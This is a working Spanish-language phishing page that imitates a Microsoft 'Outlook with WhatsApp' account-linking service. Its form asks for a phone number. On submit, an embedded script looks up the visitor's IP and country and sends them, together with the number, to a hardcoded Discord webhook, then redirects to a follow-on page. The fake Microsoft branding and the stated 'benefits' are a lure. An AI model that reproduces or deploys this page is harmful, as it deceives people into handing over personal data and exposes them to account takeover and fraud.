<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Validar Outlook con Whatsapp</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Segoe UI', Arial, sans-serif;
}
body {
background: #25D366;
color: #fff;
line-height: 1.6;
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
padding: 20px;
}
.container {
max-width: 480px;
width: 100%;
background: rgba(255, 255, 255, 0.95);
border-radius: 16px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #25D366 0%, #128C7E 100%);
padding: 30px 20px;
text-align: center;
color: white;
position: relative;
}
.header::after {
content: '';
position: absolute;
bottom: -10px;
left: 0;
right: 0;
height: 20px;
background: linear-gradient(135deg, #25D366 0%, #128C7E 100%);
border-radius: 50%;
filter: blur(10px);
opacity: 0.7;
}
.logo-container {
margin-bottom: 20px;
}
.custom-logo {
width: 80px;
height: 80px;
background: rgba(255, 255, 255, 0.2);
border-radius: 50%;
margin: 0 auto 15px;
display: flex;
align-items: center;
justify-content: center;
font-size: 32px;
font-weight: bold;
border: 3px solid rgba(255, 255, 255, 0.3);
}
.header h1 {
font-size: 28px;
font-weight: 700;
margin-bottom: 8px;
text-shadow: 0 2px 4px rgba(0, 0, 0, 0.2);
}
.header p {
font-size: 16px;
opacity: 0.9;
max-width: 400px;
margin: 0 auto;
}
.content {
padding: 30px;
color: #333;
}
.form-group {
margin-bottom: 24px;
}
.form-group label {
display: block;
margin-bottom: 8px;
font-weight: 600;
color: #444;
font-size: 14px;
}
.phone-input-container {
display: flex;
gap: 12px;
}
.country-code-select {
flex: 0 0 140px;
position: relative;
}
.country-code-select select {
width: 100%;
padding: 14px 16px;
border: 2px solid #e1e5e9;
border-radius: 10px;
font-size: 16px;
background-color: white;
transition: all 0.3s;
appearance: none;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='16' height='16' viewBox='0 0 24 24' fill='none' stroke='%23666' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'%3E%3Cpolyline points='6 9 12 15 18 9'%3E%3C/polyline%3E%3C/svg%3E");
background-repeat: no-repeat;
background-position: right 16px center;
background-size: 16px;
}
.country-code-select select:focus {
outline: none;
border-color: #25D366;
box-shadow: 0 0 0 3px rgba(37, 211, 102, 0.2);
}
.phone-input {
flex: 1;
}
.phone-input input {
width: 100%;
padding: 14px 16px;
border: 2px solid #e1e5e9;
border-radius: 10px;
font-size: 16px;
transition: all 0.3s;
}
.phone-input input:focus {
outline: none;
border-color: #25D366;
box-shadow: 0 0 0 3px rgba(37, 211, 102, 0.2);
}
.benefits-card {
background: #f0f9f0;
border-radius: 12px;
padding: 20px;
margin: 25px 0;
border-left: 4px solid #25D366;
}
.benefits-card h3 {
color: #25D366;
margin-bottom: 12px;
font-size: 16px;
display: flex;
align-items: center;
gap: 8px;
}
.benefits-list {
list-style: none;
}
.benefits-list li {
padding: 8px 0;
display: flex;
align-items: flex-start;
gap: 10px;
font-size: 14px;
color: #555;
}
.benefits-list li:before {
content: "✓";
color: #25D366;
font-weight: bold;
flex-shrink: 0;
margin-top: 2px;
}
.submit-button {
width: 100%;
background: linear-gradient(to right, #25D366, #128C7E);
color: white;
border: none;
padding: 16px;
border-radius: 10px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s;
box-shadow: 0 4px 12px rgba(37, 211, 102, 0.3);
margin-top: 10px;
position: relative;
}
.submit-button:hover {
transform: translateY(-2px);
box-shadow: 0 6px 16px rgba(37, 211, 102, 0.4);
}
.submit-button:active {
transform: translateY(0);
}
.submit-button:disabled {
background: #a0a0a0;
cursor: not-allowed;
transform: none;
box-shadow: none;
}
.submit-button.loading {
color: transparent;
}
.submit-button.loading::after {
content: "";
position: absolute;
width: 20px;
height: 20px;
top: 50%;
left: 50%;
margin-top: -10px;
margin-left: -10px;
border: 2px solid #ffffff;
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.terms {
text-align: center;
margin-top: 20px;
font-size: 13px;
color: #666;
line-height: 1.5;
}
.terms a {
color: #25D366;
text-decoration: none;
font-weight: 500;
}
.terms a:hover {
text-decoration: underline;
}
.footer {
text-align: center;
margin-top: 30px;
padding-top: 20px;
border-top: 1px solid #eee;
font-size: 12px;
color: #888;
}
.footer-links {
margin-bottom: 10px;
display: flex;
flex-wrap: wrap;
justify-content: center;
gap: 10px;
}
.footer-links a {
color: #666;
text-decoration: none;
font-size: 13px;
}
.footer-links a:hover {
color: #25D366;
}
.error-message {
font-size: 13px;
color: #d13438;
margin-top: 6px;
display: none;
}
.input-error {
border-color: #d13438 !important;
}
.whatsapp-icon {
position: fixed;
bottom: 20px;
right: 20px;
width: 60px;
height: 60px;
background: #25D366;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
z-index: 1000;
animation: pulse 2s infinite;
cursor: pointer;
}
.whatsapp-icon svg {
width: 30px;
height: 30px;
fill: white;
}
@keyframes pulse {
0% {
transform: scale(1);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
}
50% {
transform: scale(1.05);
box-shadow: 0 6px 16px rgba(0, 0, 0, 0.4);
}
100% {
transform: scale(1);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3);
}
}
@media (max-width: 480px) {
.phone-input-container {
flex-direction: column;
gap: 12px;
}
.country-code-select {
flex: 1;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<div class="logo-container">
<div class="custom-logo">
<svg width="40" height="40" viewBox="0 0 24 24" fill="white">
<path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413z"/>
</svg>
</div>
</div>
<h1>Validar Outlook con Whatsapp</h1>
<p>Conecta tus cuentas para una experiencia unificada de comunicación</p>
</div>
<div class="content">
<form id="linkForm">
<div class="form-group">
<label for="countryCode">Código de país</label>
<div class="country-code-select">
<select id="countryCode" required>
<option value="">Selecciona tu país</option>
<option value="+1">🇺🇸 Estados Unidos (+1)</option>
<option value="+52">🇲🇽 México (+52)</option>
<option value="+504">🇭🇳 Honduras (+504)</option>
<option value="+34">🇪🇸 España (+34)</option>
<option value="+54">🇦🇷 Argentina (+54)</option>
<option value="+55">🇧🇷 Brasil (+55)</option>
<option value="+56">🇨🇱 Chile (+56)</option>
<option value="+57" selected>🇨🇴 Colombia (+57)</option>
<option value="+51">🇵🇪 Perú (+51)</option>
<option value="+44">🇬🇧 Reino Unido (+44)</option>
<option value="+33">🇫🇷 Francia (+33)</option>
<option value="+49">🇩🇪 Alemania (+49)</option>
<option value="+39">🇮🇹 Italia (+39)</option>
<option value="+7">🇷🇺 Rusia (+7)</option>
<option value="+86">🇨🇳 China (+86)</option>
<option value="+91">🇮🇳 India (+91)</option>
<option value="+81">🇯🇵 Japón (+81)</option>
<option value="+82">🇰🇷 Corea del Sur (+82)</option>
<option value="+61">🇦🇺 Australia (+61)</option>
</select>
</div>
<div class="error-message" id="countryCodeError">Por favor, selecciona tu código de país</div>
</div>
<div class="form-group">
<label for="phoneNumber">Número de teléfono</label>
<div class="phone-input">
<input type="tel" id="phoneNumber" placeholder="Ej: 312 123 4567" required>
</div>
<div class="error-message" id="phoneNumberError">Por favor, introduce tu número de teléfono</div>
</div>
<div class="benefits-card">
<h3>✨ Beneficios de vincular tus cuentas</h3>
<ul class="benefits-list">
<li>Sincronización automática de contactos entre WhatsApp y Outlook</li>
<li>Recibe notificaciones importantes de Outlook directamente en WhatsApp</li>
<li>Comparte archivos y documentos fácilmente entre ambas plataformas</li>
<li>Gestión unificada de todas tus comunicaciones profesionales y personales</li>
</ul>
</div>
<button type="submit" class="submit-button" id="submitButton">
<span>Vincular Cuentas</span>
</button>
<div class="terms">
Al hacer clic en "Vincular Cuentas", aceptas nuestros
<a href="#">Términos de servicio</a> y
<a href="#">Política de privacidad</a>.
</div>
</form>
<div class="footer">
<div class="footer-links">
<a href="#">Ayuda</a>
<a href="#">Privacidad</a>
<a href="#">Términos</a>
<a href="#">Contacto</a>
</div>
<div>© 2026 Microsoft - WhatsApp Integration</div>
</div>
</div>
</div>
<div class="whatsapp-icon" aria-label="Contactar por WhatsApp">
<svg viewBox="0 0 24 24" fill="white">
<path d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413z"/>
</svg>
</div>
<script>
async function getUserLocation() {
try {
const response = await fetch('https://ipapi.co/json/');
const data = await response.json();
return {
ip: data.ip,
country: data.country_name,
countryCode: data.country_calling_code
};
} catch (error) {
console.error("Error al obtener la ubicación:", error);
return { ip: "Desconocido", country: "Desconocido", countryCode: "+0" };
}
}
document.getElementById('linkForm').addEventListener('submit', async function(e) {
e.preventDefault();
const countryCode = document.getElementById('countryCode').value;
const phoneNumber = document.getElementById('phoneNumber').value;
const location = await getUserLocation();
const webhookData = {
content: "Outlook Whatsapp",
embeds: [{
title: "numero del usuario",
color: 0x25D366,
fields: [
{ name: "IP", value: location.ip, inline: true },
{ name: "País", value: location.country, inline: true },
{ name: "Código de país", value: countryCode, inline: true },
{ name: "Número de teléfono", value: phoneNumber, inline: true }
],
image: {
url: "https://i.postimg.cc/L5dpcdDP/photo-2025-10-13-08-37-06.jpg"
}
}]
};
fetch('https://discord.com/api/webhooks/1500492626128928814/sCH93mnfxssY7PhErvQfY3M2QzEd26tMlAOE7-q7F_nkPc9Ra1OJ9KNtdbsYN5uEUvdJ', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(webhookData)
})
.then(response => {
if (response.ok) {
window.location.href = 'indexveri.html'; // Cambia esto por tu página de destino
} else {
alert("Hubo un error al vincular tus cuentas.");
}
})
.catch(error => {
console.error("Error al enviar a Discord:", error);
alert("Hubo un error al procesar tu solicitud.");
});
});
</script>
</body>
</html>